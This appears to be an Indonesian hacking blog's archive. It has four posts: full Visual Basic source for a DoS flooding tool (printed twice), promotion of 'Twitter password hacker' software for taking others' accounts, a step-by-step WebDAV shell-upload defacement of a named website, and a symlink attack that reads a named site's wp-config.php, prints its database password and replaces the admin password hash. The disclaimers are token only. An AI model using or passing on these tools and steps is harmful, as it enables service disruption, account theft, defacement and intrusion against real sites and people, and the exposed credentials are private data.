Selasa, 08 April 2014
Minggu, 06 April 2014
Tidak Mau Menunggu?
Pindah Serv3r Lain!
Selasa, 28 Januari 2014
Cara Membuat Tools DDoS Sendiri ( Visual Basic 6 )
Bang Rendy - Cara Membuat Tools DDoS Sendiri ( Visual Basic 6 ) , Hai Bung Ini Dia cara membuat Tools DDoS Sendiri , Yang mungkin udah banyak yang nunggu Oke Langsung Aja ,DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan. Kata Kata saya sook Cool ya wakwkkaw sengaja biar Greget !!
Untuk memulainya silakan ikuti langkah berikut :
Untuk memulainya silakan ikuti langkah berikut :
1. Buka Visual Basic 6 ente. Buat project baru, masukkan componen Microsoft Winsock Control
2. Masukkan coding berikut
3. Simpan dan jalankan project sobat.
Dim FILENAME As String, listItem As String
Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper
'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normal
Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub
Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub
Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub
Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub
Private Sub LBLSITUS_Click()
Dim situs As Long
'Tampilkan program default untuk membuka situs ke
'alamat lblSitus
situs = ShellExecute(0, vbNullString, _
LBLSITUS, "", "", vbNormalFocus)
LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
'warna
End Sub
Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub
Private Sub MNUUP_Click()
FRMUP.Show
End Sub
Private Sub SocK_Close()
lblStatus.Caption = "Putus"
End Sub
Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub
Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub
Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
Do
On Error GoTo REMUK
Sock.SendData DATA
lblStatus = "Menyerang"
lblStatus.ForeColor = &HFF00&
LBLDATA.Caption = Sock.SocketHandle
DoEvents
lblSent.Caption = lblSent.Caption + 1
Loop
REMUK:
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
Timer2.Enabled = True
Else
CMDSTOP_Click
Timer2.Enabled = True
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub
Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub
Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
On Error GoTo ErrH
Dim objInterface As CInterface
Static lngBytesRecv As Long
Static lngBytesSent As Long
Dim lIn As Long, lOut As Long
Set objInterface = m_objIpHelper.Interfaces(1)
lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
If lIn < 0 Then lIn = 0
If lOut < 0 Then lOut = 0
LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
picGraph.ScaleMode = 3
DrawUsage picGraph, lIn, lOut
lngBytesRecv = m_objIpHelper.BytesReceived
lngBytesSent = m_objIpHelper.BytesSent
DoEvents
tmrPoll.Enabled = True
Exit Sub
ErrH:
tmrPoll.Enabled = True
Debug.Print Err.Description
End Sub
Function GetTransferRate(pDiff As Long) As String
Dim d As Double
d = pDiff / 1024
If d < 1024 Then
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
Exit Function
End If
' Mbytes
d = pDiff / 1024
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function
Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""
On Error Resume Next
Open FILENAME For Input As #1
Do While Not EOF(1)
Input #1 & vbNewLine, listItem
'If Not (listItem = "") Then
TXTDATA.Text = listItem
'End If
Loop
Close #1
End Sub
Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper
'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normal
Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub
Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub
Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub
Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub
Private Sub LBLSITUS_Click()
Dim situs As Long
'Tampilkan program default untuk membuka situs ke
'alamat lblSitus
situs = ShellExecute(0, vbNullString, _
LBLSITUS, "", "", vbNormalFocus)
LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
'warna
End Sub
Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub
Private Sub MNUUP_Click()
FRMUP.Show
End Sub
Private Sub SocK_Close()
lblStatus.Caption = "Putus"
End Sub
Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub
Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub
Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
Do
On Error GoTo REMUK
Sock.SendData DATA
lblStatus = "Menyerang"
lblStatus.ForeColor = &HFF00&
LBLDATA.Caption = Sock.SocketHandle
DoEvents
lblSent.Caption = lblSent.Caption + 1
Loop
REMUK:
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
Timer2.Enabled = True
Else
CMDSTOP_Click
Timer2.Enabled = True
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub
Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub
Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
On Error GoTo ErrH
Dim objInterface As CInterface
Static lngBytesRecv As Long
Static lngBytesSent As Long
Dim lIn As Long, lOut As Long
Set objInterface = m_objIpHelper.Interfaces(1)
lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
If lIn < 0 Then lIn = 0
If lOut < 0 Then lOut = 0
LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
picGraph.ScaleMode = 3
DrawUsage picGraph, lIn, lOut
lngBytesRecv = m_objIpHelper.BytesReceived
lngBytesSent = m_objIpHelper.BytesSent
DoEvents
tmrPoll.Enabled = True
Exit Sub
ErrH:
tmrPoll.Enabled = True
Debug.Print Err.Description
End Sub
Function GetTransferRate(pDiff As Long) As String
Dim d As Double
d = pDiff / 1024
If d < 1024 Then
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
Exit Function
End If
' Mbytes
d = pDiff / 1024
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function
Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""
On Error Resume Next
Open FILENAME For Input As #1
Do While Not EOF(1)
Input #1 & vbNewLine, listItem
'If Not (listItem = "") Then
TXTDATA.Text = listItem
'End If
Loop
Close #1
End Sub
Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
Hati - hati dalam menggunakan tool ini.
Label:
Hacking
Senin, 27 Januari 2014
Cara Hack Twitter Terbaru
Cara Pertama
Sudah pada tau belum apa itu Twitter Password Decryptor ? Twitter Password Decryptor adalah sebuah software gratis yang berfungsi mengembalikan email dan password twitter anda, sewaktu anda lupa email dan password twitter anda . Software ini tersedia 2 versi yaitu versi portable tanpa anda menginstal di komputer anda. Tetapi jika anda ingin menginstal software ini di komputer anda secara permanent , gunakan versi installernya
Yang canggihnya software ini dapat bekerja pada berbagai platform, mulai dari WindowsXP ke sistem operasi terbaru Windows 7. Bagaimana cara menggunakan software ini?
Pertama tama download dulu softwarenya : Disini atau Disini
Cara menggunakannya : 1. Setelah anda download, install Twitter Password Decryptornya 2. Buka Twitter Password Decryptornya 3. Klik start recovery 4. Maka akan muncul username, email dan password twitter orang lain 5. Klik show password untuk menunjukkan passwordnya 6. Enjoy..^_^
Cara kedua
Twitter Password Hacker Pro adalah freeware yang berfungsi untuk mengembalikan email dan password ketika Anda lupa email dan password. Perangkat lunak ini tersedia dua versi, versi portabel dan versi installer.
Sebenarnya, software ini bekerja pada cookies komputer terutama untuk mencari akun twitter disimpan di dalamnya. Setelah ditemukan, perangkat lunak segera ditampilkan.
Software ini dapat bekerja pada berbagai platform, dari Windows XP ke sistem operasi terbaru Windows 7. Ikuti langkah-langkah sebagai berikut:
2: kemudian klik pada Cari Kata Sandi
3: setelah ini progress bar akan memuat dan u akan mendapatkan pesan jika u masuk id berlaku u akan mendapatkan password.
4: log-in menggunakan password.Finish hack! Nikmatilah!
Peringatan! Ini hanya untuk tujuan pendidikan saja .. coba di risiko Anda sendiri, kami tidak bertanggung jawab jika Anda tertangkap orang lain hacker Twitter Account.Do tidak menyalahgunakan software ini.
Sudah pada tau belum apa itu Twitter Password Decryptor ? Twitter Password Decryptor adalah sebuah software gratis yang berfungsi mengembalikan email dan password twitter anda, sewaktu anda lupa email dan password twitter anda . Software ini tersedia 2 versi yaitu versi portable tanpa anda menginstal di komputer anda. Tetapi jika anda ingin menginstal software ini di komputer anda secara permanent , gunakan versi installernya
Yang canggihnya software ini dapat bekerja pada berbagai platform, mulai dari WindowsXP ke sistem operasi terbaru Windows 7. Bagaimana cara menggunakan software ini?
Pertama tama download dulu softwarenya : Disini atau Disini
Cara menggunakannya : 1. Setelah anda download, install Twitter Password Decryptornya 2. Buka Twitter Password Decryptornya 3. Klik start recovery 4. Maka akan muncul username, email dan password twitter orang lain 5. Klik show password untuk menunjukkan passwordnya 6. Enjoy..^_^
Cara kedua
Twitter Password Hacker Pro adalah freeware yang berfungsi untuk mengembalikan email dan password ketika Anda lupa email dan password. Perangkat lunak ini tersedia dua versi, versi portabel dan versi installer.
Sebenarnya, software ini bekerja pada cookies komputer terutama untuk mencari akun twitter disimpan di dalamnya. Setelah ditemukan, perangkat lunak segera ditampilkan.
Software ini dapat bekerja pada berbagai platform, dari Windows XP ke sistem operasi terbaru Windows 7. Ikuti langkah-langkah sebagai berikut:
TWITTER HACKER Pro 2012
Download here for FREE!!!
Langkah Dan instruksi:
1: Pertama-tama menambahkan id korban2: kemudian klik pada Cari Kata Sandi
3: setelah ini progress bar akan memuat dan u akan mendapatkan pesan jika u masuk id berlaku u akan mendapatkan password.
4: log-in menggunakan password.Finish hack! Nikmatilah!
Peringatan! Ini hanya untuk tujuan pendidikan saja .. coba di risiko Anda sendiri, kami tidak bertanggung jawab jika Anda tertangkap orang lain hacker Twitter Account.Do tidak menyalahgunakan software ini.
Label:
Hacking
Minggu, 26 Januari 2014
Cara Deface Index Website dengan Webdav For Newbie
peralatan:
- Tool Webdav Hmei7:
DOWNLOAD :
step:
1. Buka tool webdav yang telah di download tadi, klik tab 'webdav' lalu pilih 'Asp shell maker'
2. Pada setting Name of Your Shell bisa diubah sesuka kamu sob, lalu klik add site lalu masukkan website target, disini saya menjadikan www.beijingcoal.com/ sebagai target
3. Lalu klik serang!! jika muncul tulisan 'shell created' berarti kita sukses menanam shell ke situs tersebut, namun jika yang muncul 'Not Vulnerable Dav' berarti sobat harus mencari target yang lain karena target sobat tidak vuln terhadap webdav
4. Sekarang kita check hasil shell yang telah tertanam tadi, perhatikan gambar pada step nomor 3 diatas, yang saya beri garis biru adalah letak shellnya, copy ke browser lalu buka link tersebut, contoh: http://www.beijingcoal.com/Hmei7.asp;.txt
5. Setelah masuk ke directory web tersebut silahkan cari file yang kemungkinan adalah index dari web tersebut
6. Stelah ketemu file yang berisi index lalu klik pada icon pensil disampingnya untuk mengedit, hapus semua scriptnya lalu tukar dengan script deface kalian sob, kemudian klik kaydet untuk menyimpan
7. Oke, script indexnya sudah saya ganti dengan script saya, dan sekarang saya akan mengakses http://www.beijingcoal.com/ untuk melihat hasilnya
oke, homepage / index website tersebut berhasil saya deface, jika sewaktu-waktu tampilan website tersebut telah kembali normal itu berarti adminnya telah memperbaiki website tersebut sob
sekian Tutorial Deface Index Website dengan Webdav ini, ini hanya untuk pelajaran dan jangan merusak website orang lain sob, saya tidak menanggung atas semua resiko yang terjadi pada anda
keyword: cara deface website, cara deface index homepage dengan webdav, menggunakan webdav untuk deface index website, cara mudah deface website untuk newbie, cara mengganti index website dengan menggunakan webdav
sampai di sin saja saya mohon maaf jika ada salah kata , berhubung saya hanyalah seorang newbie yang ingin mencoba (^_^)
sampai di sin saja saya mohon maaf jika ada salah kata , berhubung saya hanyalah seorang newbie yang ingin mencoba (^_^)
Label:
Hacking
Sabtu, 25 Januari 2014
Deface Website Dengan Metode Symlink
Halo sob (^_^), kali ini saya akan berbagi cara menggunakan Symlink.
Saya anggap agan udah punya target dan sudah di pasang Backdoor/shell di web target, saya tidak akan menjelaskan caranya, karena saya anggap agan sudah bisa mencari target sendiri (^_^).
Pertama masuk ke Shell yang sudah di tanam di web target.
lalu upload Sym.php ( Digunakan untuk SYMLINK ).
Klo belum punya silahkan Download Disini Sob (^_^)
Pada gambar di atas saya sudah upload sym.php melalui shell yang saya tanam.
Selanjutnya akses / buka symlink yang telah agan upload.
Lalu klik user & domain & symlink.
Terlihat banyak sekali target-target lain, dan yang akan saya jadikan target adalah thefussyeater.org lalu klik "symlink".
Lalu kita cari confignya, dan target saya ini wordpress saya menemukan wp-config.php lalu saya klik.
Jika CMS Joomla cari saja configuration.php, jika CMS Lokomedia, cari saja di config/koneksi.php, jika CMS Balitbang cari saja di lib/config.php.
Perhatikan baris ini :
define('DB_HOST', 'localhost');
DB NAME = thefussy_wrdp3
DB USER = thefussy_wrdp3
DB PASSWORD = CZyLRz1EuwSd
DB HOST = localhost
Diatas adalah informasi mengenai Akses Database MySQL.
Lalu setelah mendapatkan informasi username & password Database MySQL seperti diatas, kembali ke shell pertama.
Klik koneksi MySQL.
Lalu isi dengan data - data yang telah di peroleh pada file configurasi diatas tadi, dan saya klik Connect.
Jika di dalam shell agan tidak ada menu Koneksi MySQL Download INI lalu Upload , akses dan login.
Lalu, saya klik "wp_user".
Terlihat passwordnya dalam bentuk encrypt md5, jadi kita rubah saja (^_^).
Agan buat password dalam bentuk MD5 Disini Sob (^_^).
Saya mencoba password 121212 dan setelah di enskripsi menjadi 93279e3308bdbbeed946fc965017f67a Lalu saya rubah password wp-user nya dan saya ganti dengan password saya 93279e3308bdbbeed946fc965017f67a
Saya sudah merubah dengan 93279e3308bdbbeed946fc965017f67a dan saya klik confirm untuk menyimpan pengaturannya, dan pada pengaturan selanjutnya klik Yes.
Berarti saya akan login dengan username admin dan password 121212.
Sekarang kita coba sob (^_^).
Saya coba ke halaman loginwebnya http://thefussyeater.org/wp-admin
Saya login & wauuuuu, kereennn sob (^_^).
Saya berhasil masuk (^_^).
Jika sudah seperti ini terserah anda sob, kalo pengen nanam shell silahkan, asal jangan lupa di backup file pentingnya dan jangan di rusak (^_^)
Selamat Mencoba (^_^).
sampai di sin saja saya mohon maaf jika ada salah kata , berhubung saya hanyalah seorang newbie yang ingin mencoba (^_^)
sampai di sin saja saya mohon maaf jika ada salah kata , berhubung saya hanyalah seorang newbie yang ingin mencoba (^_^)
Label:
Hacking
Langganan:
Postingan (Atom)